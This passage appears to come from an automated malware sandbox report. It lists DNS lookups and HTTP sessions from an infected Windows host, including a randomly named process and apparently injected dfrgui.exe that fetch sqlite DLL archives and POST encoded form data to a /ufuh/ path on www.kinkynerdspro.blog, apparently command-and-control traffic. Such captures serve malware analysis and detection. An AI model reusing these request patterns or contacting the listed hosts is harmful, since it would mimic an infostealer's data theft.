May 20, 2024 08:54:44.865616083 CEST	192.168.2.22	8.8.8.8	0x6898	Standard query (0)	www.99b6q.xyz	A (IP address)	IN (0x0001)	false
May 20, 2024 08:54:48.226479053 CEST	192.168.2.22	8.8.8.8	0xdd85	Standard query (0)	www.99b6q.xyz	A (IP address)	IN (0x0001)	false
May 20, 2024 08:54:55.543229103 CEST	192.168.2.22	8.8.8.8	0x7e93	Standard query (0)	www.kinkynerdspro.blog	A (IP address)	IN (0x0001)	false
May 20, 2024 08:55:13.788312912 CEST	192.168.2.22	8.8.8.8	0x5fe0	Standard query (0)	www.xn--matfrmn-jxa4m.se	A (IP address)	IN (0x0001)	false
May 20, 2024 08:55:27.392148018 CEST	192.168.2.22	8.8.8.8	0xe688	Standard query (0)	www.primeplay88.org	A (IP address)	IN (0x0001)	false
May 20, 2024 08:55:40.671916962 CEST	192.168.2.22	8.8.8.8	0x8ed7	Standard query (0)	www.aceautocorp.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
May 20, 2024 08:53:37.264147043 CEST	8.8.8.8	192.168.2.22	0xfe64	No error (0)	universalmovies.top		104.21.74.191	A (IP address)	IN (0x0001)	false
May 20, 2024 08:53:37.264147043 CEST	8.8.8.8	192.168.2.22	0xfe64	No error (0)	universalmovies.top		172.67.162.95	A (IP address)	IN (0x0001)	false
May 20, 2024 08:54:15.253571033 CEST	8.8.8.8	192.168.2.22	0xc306	Name error (3)	www.besthomeincome24.com	none	none	A (IP address)	IN (0x0001)	false
May 20, 2024 08:54:20.377545118 CEST	8.8.8.8	192.168.2.22	0xf37d	No error (0)	www.terelprime.com		66.96.161.166	A (IP address)	IN (0x0001)	false
May 20, 2024 08:54:28.468648911 CEST	8.8.8.8	192.168.2.22	0xe2e	No error (0)	www.sqlite.org		45.33.6.223	A (IP address)	IN (0x0001)	false
May 20, 2024 08:54:28.495847940 CEST	8.8.8.8	192.168.2.22	0xe2e	No error (0)	www.sqlite.org		45.33.6.223	A (IP address)	IN (0x0001)	false
May 20, 2024 08:54:38.226855993 CEST	8.8.8.8	192.168.2.22	0x739b	Name error (3)	www.99b6q.xyz	none	none	A (IP address)	IN (0x0001)	false
May 20, 2024 08:54:41.567018986 CEST	8.8.8.8	192.168.2.22	0x8abe	Name error (3)	www.99b6q.xyz	none	none	A (IP address)	IN (0x0001)	false
May 20, 2024 08:54:44.911293983 CEST	8.8.8.8	192.168.2.22	0x6898	Name error (3)	www.99b6q.xyz	none	none	A (IP address)	IN (0x0001)	false
May 20, 2024 08:54:48.235728025 CEST	8.8.8.8	192.168.2.22	0xdd85	Name error (3)	www.99b6q.xyz	none	none	A (IP address)	IN (0x0001)	false
May 20, 2024 08:54:55.597292900 CEST	8.8.8.8	192.168.2.22	0x7e93	No error (0)	www.kinkynerdspro.blog		54.38.220.85	A (IP address)	IN (0x0001)	false
May 20, 2024 08:55:13.857031107 CEST	8.8.8.8	192.168.2.22	0x5fe0	No error (0)	www.xn--matfrmn-jxa4m.se		194.9.94.86	A (IP address)	IN (0x0001)	false
May 20, 2024 08:55:13.857031107 CEST	8.8.8.8	192.168.2.22	0x5fe0	No error (0)	www.xn--matfrmn-jxa4m.se		194.9.94.85	A (IP address)	IN (0x0001)	false
May 20, 2024 08:55:27.403259993 CEST	8.8.8.8	192.168.2.22	0xe688	No error (0)	www.primeplay88.org	parkingpage.namecheap.com		CNAME (Canonical name)	IN (0x0001)	false
May 20, 2024 08:55:27.403259993 CEST	8.8.8.8	192.168.2.22	0xe688	No error (0)	parkingpage.namecheap.com		91.195.240.19	A (IP address)	IN (0x0001)	false
May 20, 2024 08:55:40.699604034 CEST	8.8.8.8	192.168.2.22	0x8ed7	No error (0)	www.aceautocorp.com	aceautocorp.com		CNAME (Canonical name)	IN (0x0001)	false
May 20, 2024 08:55:40.699604034 CEST	8.8.8.8	192.168.2.22	0x8ed7	No error (0)	aceautocorp.com		198.12.241.35	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

universalmovies.top

www.terelprime.com

www.sqlite.org

www.kinkynerdspro.blog

www.xn--matfrmn-jxa4m.se

www.primeplay88.org

www.aceautocorp.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.22	49165	66.96.161.166	80	2108	C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe

Timestamp	Bytes transferred	Direction	Data
May 20, 2024 08:54:20.390882015 CEST	468	OUT	GET /ufuh/?84O0=YGhnx96XAVFPN8tw+HM+ERdVPj6qvRaWteKDUnkDVIOF49Ku923zFB1LHsiTDOOJR3oxDyM0OU58BlZHZbBCNvk4uEj8jDacBIFePGWcdtykoT8enibuKQ6eq0+l&-Hc=N8_LbDFHuLL4ejZ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Connection: close Host: www.terelprime.com User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36
May 20, 2024 08:54:20.915453911 CEST	1087	IN	HTTP/1.1 404 Not Found Date: Mon, 20 May 2024 06:54:20 GMT Content-Type: text/html Content-Length: 867 Connection: close Server: Apache Last-Modified: Fri, 10 Jan 2020 16:05:10 GMT Accept-Ranges: bytes Age: 0 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 0d 0a 20 20 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 45 72 72 6f 72 20 2d 20 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 23 61 64 5f 66 72 61 6d 65 7b 20 68 65 69 67 68 74 3a 38 30 30 70 78 3b 20 77 69 64 74 68 3a 31 30 30 25 3b 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 64 79 7b 20 6d 61 72 67 69 6e 3a 30 3b 20 62 6f 72 64 65 72 3a 20 30 3b 20 70 61 64 64 69 6e 67 3a 20 30 3b 20 7d 0d 0a 20 20 20 20 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 61 6a 61 78 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6a 71 75 65 72 79 2f 31 2e 31 30 2e 32 2f 6a 71 75 65 72 79 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 [TRUNCATED] Data Ascii: <!DOCTYPE HTML><html> <head> <title>404 Error - Page Not Found</title> <style> #ad_frame{ height:800px; width:100%; } body{ margin:0; border: 0; padding: 0; } </style> <script src="//ajax.googleapis.com/ajax/libs/jquery/1.10.2/jquery.min.js"></script> <script type="text/javascript" language="JavaScript"> var url = 'http://www.searchvity.com/?dn=' + document.domain + '&pid=9POL6F2H4'; $(document).ready(function() { $('#ad_frame').attr('src', url); }); </script> </head> <body> <iframe id="ad_frame" src="http://www.searchvity.com/" frameborder="0" scrolling="no"> ... browser does not support iframe's --> </iframe> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.22	49166	45.33.6.223	80	3240	C:\Windows\SysWOW64\dfrgui.exe

Timestamp	Bytes transferred	Direction	Data
May 20, 2024 08:54:28.541707993 CEST	248	OUT	GET /2021/sqlite-dll-win32-x86-3340000.zip HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36 Host: www.sqlite.org Connection: Keep-Alive Cache-Control: no-cache
May 20, 2024 08:54:29.088994026 CEST	299	IN	HTTP/1.1 404 Not Found Connection: close Date: Mon, 20 May 2024 06:54:29 GMT Content-type: text/html; charset=utf-8 Data Raw: 3c 68 65 61 64 3e 3c 74 69 74 6c 65 20 6c 69 6e 65 6e 6f 3d 22 33 38 30 22 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 3c 68 31 3e 44 6f 63 75 6d 65 6e 74 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 2f 32 30 32 31 2f 73 71 6c 69 74 65 2d 64 6c 6c 2d 77 69 6e 33 32 2d 78 38 36 2d 33 33 34 30 30 30 30 2e 7a 69 70 20 69 73 20 6e 6f 74 20 61 76 61 69 6c 61 62 6c 65 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 0a 3c 2f 62 6f 64 79 3e 0a Data Ascii: <head><title lineno="380">Not Found</title></head><body><h1>Document Not Found</h1>The document /2021/sqlite-dll-win32-x86-3340000.zip is not available on this server</body>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.22	49167	45.33.6.223	80	3240	C:\Windows\SysWOW64\dfrgui.exe

Timestamp	Bytes transferred	Direction	Data
May 20, 2024 08:54:30.160804987 CEST	248	OUT	GET /2017/sqlite-dll-win32-x86-3210000.zip HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36 Host: www.sqlite.org Connection: Keep-Alive Cache-Control: no-cache
May 20, 2024 08:54:30.700171947 CEST	1236	IN	HTTP/1.1 200 OK Connection: keep-alive Date: Mon, 20 May 2024 06:54:30 GMT Last-Modified: Thu, 18 Jan 2018 20:17:17 GMT Cache-Control: max-age=120 ETag: "m5a6100cds6cee7" Content-type: application/zip; charset=utf-8 Content-length: 446183 Data Raw: 50 4b 03 04 14 00 00 00 08 00 86 13 59 4b 18 14 41 7f d2 04 00 00 eb 13 00 00 0b 00 1c 00 73 71 6c 69 74 65 33 2e 64 65 66 55 54 09 00 03 4c 94 ef 59 4c 94 ef 59 75 78 0b 00 01 04 e8 03 00 00 04 64 00 00 00 85 98 cd 92 dc 28 0c 80 ef 79 9b 64 b6 a6 f6 05 72 de 54 76 0f 7b 73 61 2c bb a9 c1 e0 f0 d3 3d 33 4f bf e2 a7 1b 09 dc d9 d3 8c 3e 19 10 42 12 a2 bf ff fb e3 af 9f ff fc fd c5 ff d2 2a c0 cb 24 b6 cd c1 26 02 4c d2 9a 00 ef e1 54 13 0d e1 31 d8 09 3f 04 e3 95 35 0f 3c 0b f9 16 8f 69 55 46 f9 4b 4f 11 86 9e 1d 62 03 3e 73 55 38 d8 05 0e 30 5b af f0 01 8e c6 94 59 a6 59 db 79 24 af 7f 70 b6 d8 38 6b e0 4c d1 75 2b e8 c7 99 a8 35 27 87 70 62 87 00 ae f3 49 a7 44 09 de 9f 29 0d fe ed 74 16 17 07 c7 21 3b 8b 07 f9 fa 3a b2 de ec ab d0 b1 5b e1 13 9c 1d 7d 75 a7 74 02 14 a7 f9 23 80 e7 48 6a eb 81 23 7b 80 e1 c4 81 58 7a 32 7e 75 73 f8 7f 43 d1 7f 4c 17 61 16 4d 1d 90 60 50 3b d8 d8 7c 20 85 91 a0 9f 85 9f c4 39 36 62 b5 d4 20 5c de 26 06 12 c5 74 1f 59 9a ae df 1a b0 5a 8b 80 f3 4e 06 60 81 e5 a9 82 [TRUNCATED] Data Ascii: PKYKAsqlite3.defUTLYLYuxd(ydrTv{sa,=3O>B$&LT1?5<iUFKOb>sU80[YYy$p8kLu+5'pbID)t!;:[}ut#Hj#{Xz2~usCLaM`P;\| 96b \&tYZN`nx(s$xP."Y,hH>qX'#xTFxTxfeM qnWiNFD"odvU.Qv(cD=`ik4&^.5F*eA\|9lKM.~fI;f1:)K)\`r[4>[Z\|7AhEHmrR_pR6tI0y['#NxI7K P9]GlN1&>.T} L\Kbu=c`,By^G[A{par?q6v^aOd-O[v~N$$0^v)T+-pk=D3"3`=Ha,1F7 $zHzc"k9g'p-2YAz;M9@el~U&qf-Kcke]bXwo)Xacq;`LjytWw8{b%6ntRWT8Eq!x:gK>I-Ny{k57]v
May 20, 2024 08:54:30.702236891 CEST	1236	IN	Data Raw: 0a c4 d1 95 d3 8e 93 dd 7b 1b 9d 04 ba 24 b9 e0 ba fb b9 88 74 30 7d 46 a6 4a 95 df 1b 9c 0c 1d 41 a6 c3 cc 6e a3 a7 85 b2 92 3b 9d db 69 f5 06 54 36 fc 83 0f b4 65 4f 19 60 ec 03 96 5e b6 b6 9f 78 8e 82 79 1e df 0e 61 b8 76 c3 25 d9 9b df 3c 26 Data Ascii: {$t0}FJAn;iT6eO`^xyav%<&bm&K\+<6`tjM07Q7/ba$cZO Z~l0l?A%PV3}VZHo,C"3&cdM<6-;M
May 20, 2024 08:54:30.706986904 CEST	1236	IN	Data Raw: 2e a3 52 4e a8 b8 01 72 b2 37 e8 43 c5 45 93 f1 c2 3e cd 82 4f 95 5d 42 c5 c7 98 5a 75 08 b3 88 29 d0 ef 79 4d 79 69 3c 6e 0e b2 32 cd 0a ef a9 c4 91 16 6e 95 fb 6c 72 0c 76 9a 83 26 eb 63 c5 da fd bc ab 36 f4 9d 70 38 3c de fe d7 70 8c 71 c8 ef Data Ascii: .RNr7CE>O]BZu)yMyi<n2nlrv&c6p8<pqR`kIFR!kVZxlHb07Bjyxr61b?!t+<77xYXMp82+.L2^?W]X%8_bH62W]/m3
May 20, 2024 08:54:30.712115049 CEST	1236	IN	Data Raw: 95 6d c2 4b b5 43 1d 9a 0d ba 66 29 d1 de 66 24 d8 80 0b 33 56 0c 19 69 c0 5e d9 12 9d 77 69 65 1b cb 26 e6 3e a0 2c e6 2a 6b cb e7 c0 b7 70 d9 42 a1 86 83 49 14 6a 82 7a f5 3f 67 d5 b7 6a 29 90 5e 51 2b 42 0b ef ac fe 1d a6 65 fe 0a ff 4a 87 72 Data Ascii: mKCf)f$3Vi^wie&>,kpBIjz?gj)^Q+BeJrr:ru4}CRSr(W0V 3Hf]t79<4NZ(g.>GZEw4+p\|Dh!{>aBH1/4km[v0
May 20, 2024 08:54:30.712131023 CEST	1236	IN	Data Raw: 90 cb fd 3c e0 c6 d6 ea 9f e3 b7 e0 79 ab 38 43 1e b5 8a f6 ba 4f 79 af fa 23 18 47 a1 a6 96 6b d4 3a 2b da 84 ca e7 70 45 f5 cb aa 69 db e6 d0 4f b0 dd 35 49 ae da 08 ea dd 12 74 67 20 9b 30 ec ea 02 b0 b0 09 f8 64 c0 9b f2 70 3c f1 a9 5b e7 6d Data Ascii: <y8COy#Gk:+pEiO5Itg 0dp<[mhmxN5y84HkwP_HF_NKnGMs0!}&<tzI-Z8[z]&hUW1d\|e)QWv3<b%.\^KZmk
May 20, 2024 08:54:30.721599102 CEST	1236	IN	Data Raw: ec da 74 b2 dc 4e d7 e8 89 c7 c8 29 ad 9d e4 da 81 4a c8 07 33 b0 13 45 29 b4 c0 e9 27 4b 9c f0 43 3e 21 cb 53 68 91 a3 c9 c3 ce fe 9a 3c 78 8a 62 0a 2f 99 17 a5 65 58 a0 e3 32 43 da f3 d9 a9 64 a3 25 0e ba 2d 63 68 88 e6 2c 54 f8 e7 a9 dd 7d 42 Data Ascii: tN)J3E)'KC>!Sh<xb/eX2Cd%-ch,T}BQr?*;C-4 !c<)=r_InwUfx1H0Xbj"CXq\U`:Wyp/O+@%&gS/)VrQ=b1\(pfU6
May 20, 2024 08:54:30.725428104 CEST	1236	IN	Data Raw: 8f 92 11 d2 0f 99 70 8b 40 3e a1 a6 98 83 82 20 83 92 0e 28 e1 81 ba 40 e2 d8 c6 83 04 05 c0 88 0b 1a 26 ec 7d 70 aa 87 3c 6d 03 ca e1 3e b1 f5 a6 f9 be de f7 f1 84 c9 e2 eb 2b 95 87 79 21 b7 be 94 e4 4c 03 a1 0a 7e ec 48 5a 71 0c a0 a3 d4 d7 63 Data Ascii: p@> (@&}p<m>+y!L~HZqc^;BFYH0B]XVroHjGDIueqWS~mz&l{lkjz>L-%ORyZQJPxGCb{ 8+DQLlh)f9ma6T
May 20, 2024 08:54:30.725444078 CEST	1236	IN	Data Raw: fa 1b 95 91 c9 a6 bf 66 2a 43 0f 07 5f 49 bd 50 b3 d8 cc 80 01 6c 0b fc dd 3f cb a8 e0 bc 33 aa 1c a2 6c ed 31 61 ff 77 b0 05 d4 63 36 f2 7c 6a 15 9a e3 4f 80 fc 35 e4 1a c4 71 22 dc 3e 34 27 84 81 d0 32 91 86 bc 8e 82 e4 e7 56 83 14 19 1d 4b 02 Data Ascii: fC_IPl?3l1awc6\|jO5q">4'2VKm6A%+<WJ_'T;xUG0@U(@VtCIAOG\oaV 18nVS(:+p{Mh\|\ATCfxN7"_%`C];o '
May 20, 2024 08:54:30.733045101 CEST	1236	IN	Data Raw: 0d a4 39 ca d0 0e b9 36 1a e8 73 b5 71 47 49 00 c4 d9 82 64 f7 a1 aa c2 81 c0 a3 1b 0e 39 b8 3a fa 97 57 f1 94 42 ea db b9 3c 4b 52 03 cb 82 ef fd 9a 9d b0 01 4b 5b 30 3d 78 39 6e ab a0 6c e3 c8 68 d5 ea e9 e4 dd aa 75 00 bf ba 70 e0 be aa 82 64 Data Ascii: 96sqGId9:WB<KRK[0=x9nlhupdhP/.9R>@JkxC{1W\|OR0(^:Xdn?0/m$jG&)i2Xe/9FOiu{]$eE'mR"-X,Hm*+6"0`$fx)Shdu0lL%
May 20, 2024 08:54:30.733062029 CEST	1236	IN	Data Raw: 49 0d e5 e8 26 ba e4 32 6a d8 a0 89 ff 36 c6 5a 22 9e 08 fd 05 86 03 3b a9 1c 67 6c 5e c5 2c c8 09 60 a6 03 08 1c a2 de 71 38 da 39 26 f5 f4 8c c3 78 d8 80 f1 f7 d0 53 1c 1b 03 a1 52 43 9d 11 8e c3 8d 38 0e 8b 8e 1b 7a bc 04 5d 7e ce d7 47 9e f8 Data Ascii: I&2j6Z";gl^,`q89&xSRC8z]~GZC&Yz_%0m0R;~fPh4prYZ+jy6PYVx>VVExce)<(`>U5`SUO7gY7"NS~;QtX1FcdN
May 20, 2024 08:54:30.733076096 CEST	1029	IN	Data Raw: 9c 06 7c 7d 61 87 b2 3a 55 b7 af a8 75 96 d2 ac 52 f7 36 ab f0 40 73 be dc 60 97 6b ed a5 6e e9 0b 29 04 12 6f 49 6f 69 d6 43 d6 c0 4d 78 70 98 04 34 ad 34 6b 79 02 81 15 e4 eb 45 6d 31 43 48 01 00 b9 3c 41 57 78 a4 4d b0 78 cc 14 b0 33 90 e2 5e Data Ascii: \|}a:UuR6@s`kn)oIoiCMxp44kyEm1CH<AWxMx3^Ye?X=Z\Ly~k J6"`/.,+B%A}`$_xq,43K?m]3Lc8}_$m*<Ci>OiON}$'WH

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.22	49168	54.38.220.85	80	2108	C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe

Timestamp	Bytes transferred	Direction	Data
May 20, 2024 08:54:55.612392902 CEST	2472	OUT	POST /ufuh/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Length: 2161 Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Host: www.kinkynerdspro.blog Origin: http://www.kinkynerdspro.blog Referer: http://www.kinkynerdspro.blog/ufuh/ User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36 Data Raw: 38 34 4f 30 3d 53 38 6f 6e 68 39 36 57 74 75 52 2f 45 32 71 62 32 65 4c 53 47 74 5a 47 78 57 6e 4b 49 33 78 68 48 77 41 32 4b 4e 45 67 65 67 34 59 49 54 43 56 57 45 79 7a 75 4c 39 47 75 77 37 69 54 6e 77 56 72 2f 78 59 6b 6c 6d 54 6f 62 67 6e 4b 59 70 51 57 61 57 67 39 76 57 63 4f 51 68 57 38 5a 67 55 73 4f 52 72 58 69 39 39 38 2b 56 70 63 78 63 6e 4d 4f 71 52 62 32 31 41 31 41 69 7a 5a 69 4f 53 43 35 30 52 44 54 57 41 67 6d 44 6b 46 49 39 76 58 4c 39 50 56 2f 41 79 4d 64 57 63 30 75 42 64 2f 4a 50 70 32 47 56 75 6b 62 43 6b 32 68 6f 67 75 6d 33 70 51 42 4c 62 4d 66 43 46 62 6b 77 4c 4f 36 69 4b 6f 46 4a 53 70 65 64 37 4a 72 73 58 67 4c 6c 61 57 4d 6d 47 66 53 4e 2b 4c 36 7a 63 78 37 58 33 39 35 55 6b 46 53 2b 69 41 4f 6d 44 58 62 33 6b 66 30 62 56 71 32 51 49 59 6e 57 4b 76 74 57 48 45 48 76 51 39 73 43 52 77 78 66 68 6a 4b 4d 6c 7a 6f 48 5a 47 75 66 78 39 50 58 52 36 78 71 44 39 56 6f 72 51 43 4d 35 52 78 31 71 4d 73 73 4f 61 51 6e 43 6b 67 63 4b 70 43 6f 73 69 69 54 69 44 69 33 76 5a 43 4f 70 39 [TRUNCATED] Data Ascii: 84O0=S8onh96WtuR/E2qb2eLSGtZGxWnKI3xhHwA2KNEgeg4YITCVWEyzuL9Guw7iTnwVr/xYklmTobgnKYpQWaWg9vWcOQhW8ZgUsORrXi998+VpcxcnMOqRb21A1AizZiOSC50RDTWAgmDkFI9vXL9PV/AyMdWc0uBd/JPp2GVukbCk2hogum3pQBLbMfCFbkwLO6iKoFJSped7JrsXgLlaWMmGfSN+L6zcx7X395UkFS+iAOmDXb3kf0bVq2QIYnWKvtWHEHvQ9sCRwxfhjKMlzoHZGufx9PXR6xqD9VorQCM5Rx1qMssOaQnCkgcKpCosiiTiDi3vZCOp9A0mfyqWuXqeMyuOHd9aFLQYFq0ZfNiPhZDVabL9o1k6Sy4RShe0aOqWYNsXIAxVsVJ5jQidcIww9K0uYI6nbr/QRXFRS31On9a59ERp4xDBfnW5gLHSkkVz8k6UFeBhpo/6tHzlv8bHTaZ6kkXFcRnzyjcYQS2Cq1EUBPx7VFgqjnmVNt7PvOgxauqQE/soFQFT0MZmiqZJcj099bXK+sLyEvRARbHnaaiUfbcSQiIaP1mX/HBcdnCGC9T3oeJaEs/jcmMtoSf9EzzB2SB7WDglbG3h6CLw5LuCZSjW4reiuLGCWBtoS3AnjH6AwrfOWU/KUa7Zmj2cq8W1kNxYzfY2iQPpeM1nrID4kpI1308/+PsBOdXzMxpELOmttmxNfjMKcCzjjdrDadQLX38yoIEtGjflKN9tEzATE77AEHs7qP6ae9iiB3pcfwCR61tQmgQopch+VrVNvIn9PYmqhEfnXu/sFRW1/+77qiJee3kzUDAPhKbgvHdQ/Rhhddt+uNnsu9oUnjXkPup5K360RZSaZB8NDf6nt6/ZbWeY7W9VfgJwZgBjqAcghjg1eVl3Lq6pKt01tAqz9qmJsFU0dn6bA/F1IccVFUvMrFH/JX/rhMzkHCFbfyFpS0t7jqoWNPf90AsRDau0G8eF2y09/0DEUTmO7LFsMHh [TRUNCATED]
May 20, 2024 08:54:55.621912003 CEST	229	OUT	Data Raw: 2b 4f 64 30 55 36 34 58 31 67 43 34 39 31 6d 4d 7a 7a 52 2b 56 62 68 45 6c 36 4f 43 6a 6c 56 6e 33 58 79 4d 2b 56 73 57 77 78 78 48 72 41 46 75 6c 6a 4c 45 4d 4c 51 51 4a 51 33 55 6b 34 58 4e 59 55 33 57 52 39 66 50 35 6f 66 43 49 48 79 45 4c 47 Data Ascii: +Od0U64X1gC491mMzzR+VbhEl6OCjlVn3XyM+VsWwxxHrAFuljLEMLQQJQ3Uk4XNYU3WR9fP5ofCIHyELGliUI4h2W1u13hDoVnK2QkMZE51eH3sBG1U9mmCrfVH8X1C/s8gj+QsGwgZEl3fb8m0N/juqTWahQZbXBndq8ieyjyDsLwIvHzSjo4GEWaNnuAMYT5u/+8D2+iFDsJjxbQPzacdjoBe2/GB+GLqf

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.22	49169	54.38.220.85	80	2108	C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe

Timestamp	Bytes transferred	Direction	Data
May 20, 2024 08:54:58.129992962 CEST	740	OUT	POST /ufuh/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Length: 201 Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Host: www.kinkynerdspro.blog Origin: http://www.kinkynerdspro.blog Referer: http://www.kinkynerdspro.blog/ufuh/ User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36 Data Raw: 38 34 4f 30 3d 53 38 6f 6e 68 39 36 57 74 75 52 2f 45 31 53 62 33 4b 66 53 41 39 5a 47 6c 32 6e 4b 47 58 78 6e 48 33 49 2b 4b 49 39 39 65 52 77 59 49 6d 2b 56 57 32 61 7a 2b 62 39 46 6b 51 37 63 65 48 78 66 72 2f 77 4a 6b 6e 79 54 6f 62 30 6e 46 62 42 51 48 4c 57 6a 69 76 57 65 46 77 68 62 38 5a 73 6e 73 4f 74 37 58 6a 46 39 38 39 42 70 66 31 41 6e 4a 74 43 52 4c 32 31 5a 2b 67 69 6b 5a 69 79 39 43 35 6b 6a 44 53 61 41 67 58 50 6b 46 64 78 76 51 63 4a 50 63 66 41 7a 57 74 58 6f 31 74 6b 6d 36 70 58 31 71 31 30 4c 6c 4b 57 68 39 7a 45 32 73 77 50 59 47 6a 6a 4c 56 4c 57 4c 64 57 31 6e 59 41 3d 3d Data Ascii: 84O0=S8onh96WtuR/E1Sb3KfSA9ZGl2nKGXxnH3I+KI99eRwYIm+VW2az+b9FkQ7ceHxfr/wJknyTob0nFbBQHLWjivWeFwhb8ZsnsOt7XjF989Bpf1AnJtCRL21Z+gikZiy9C5kjDSaAgXPkFdxvQcJPcfAzWtXo1tkm6pX1q10LlKWh9zE2swPYGjjLVLWLdW1nYA==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.22	49170	54.38.220.85	80	2108	C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe

Timestamp	Bytes transferred	Direction	Data
May 20, 2024 08:55:01.004695892 CEST	2472	OUT	POST /ufuh/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Length: 3625 Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Host: www.kinkynerdspro.blog Origin: http://www.kinkynerdspro.blog Referer: http://www.kinkynerdspro.blog/ufuh/ User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36 Data Raw: 38 34 4f 30 3d 53 38 6f 6e 68 39 36 57 74 75 52 2f 46 57 61 62 79 72 66 53 58 74 5a 48 38 32 6e 4b 49 33 78 6a 48 77 41 2b 4b 4e 45 67 65 6c 55 59 49 56 57 56 52 55 79 7a 74 4c 39 46 69 51 37 69 54 6e 77 55 72 2f 55 46 6b 6c 61 70 6f 59 59 6e 4b 63 46 51 57 64 4b 67 74 2f 57 63 42 77 68 55 38 5a 73 79 73 4f 64 33 58 6a 42 45 38 39 5a 70 66 6e 59 6e 50 64 43 4f 56 6d 31 5a 2b 67 69 6f 5a 69 7a 75 43 35 38 37 44 57 58 48 67 68 4c 6b 47 34 39 76 41 4c 39 4d 58 2f 42 34 49 64 57 6f 30 75 39 73 2f 4a 50 58 32 47 77 46 6b 62 4f 6b 33 30 38 67 75 68 72 71 4d 68 4c 55 53 66 43 46 56 45 77 4a 4f 36 6a 56 6f 46 4a 53 70 65 4a 37 47 62 73 58 67 4b 6c 64 56 38 6d 47 44 43 4e 6e 50 36 75 6c 78 37 53 55 39 34 6c 54 47 68 53 69 42 4d 4f 44 47 62 33 6b 4f 30 61 65 71 32 51 2f 44 33 57 67 76 70 37 34 45 48 66 36 39 73 43 52 77 33 4c 68 31 2f 34 6c 36 59 48 5a 4f 4f 66 79 76 50 58 53 36 78 75 78 39 56 4d 72 51 47 59 35 51 42 46 71 64 4f 30 42 56 41 6e 42 67 67 63 49 74 43 70 32 69 6a 2f 45 44 69 2f 4a 5a 42 47 70 39 [TRUNCATED] Data Ascii: 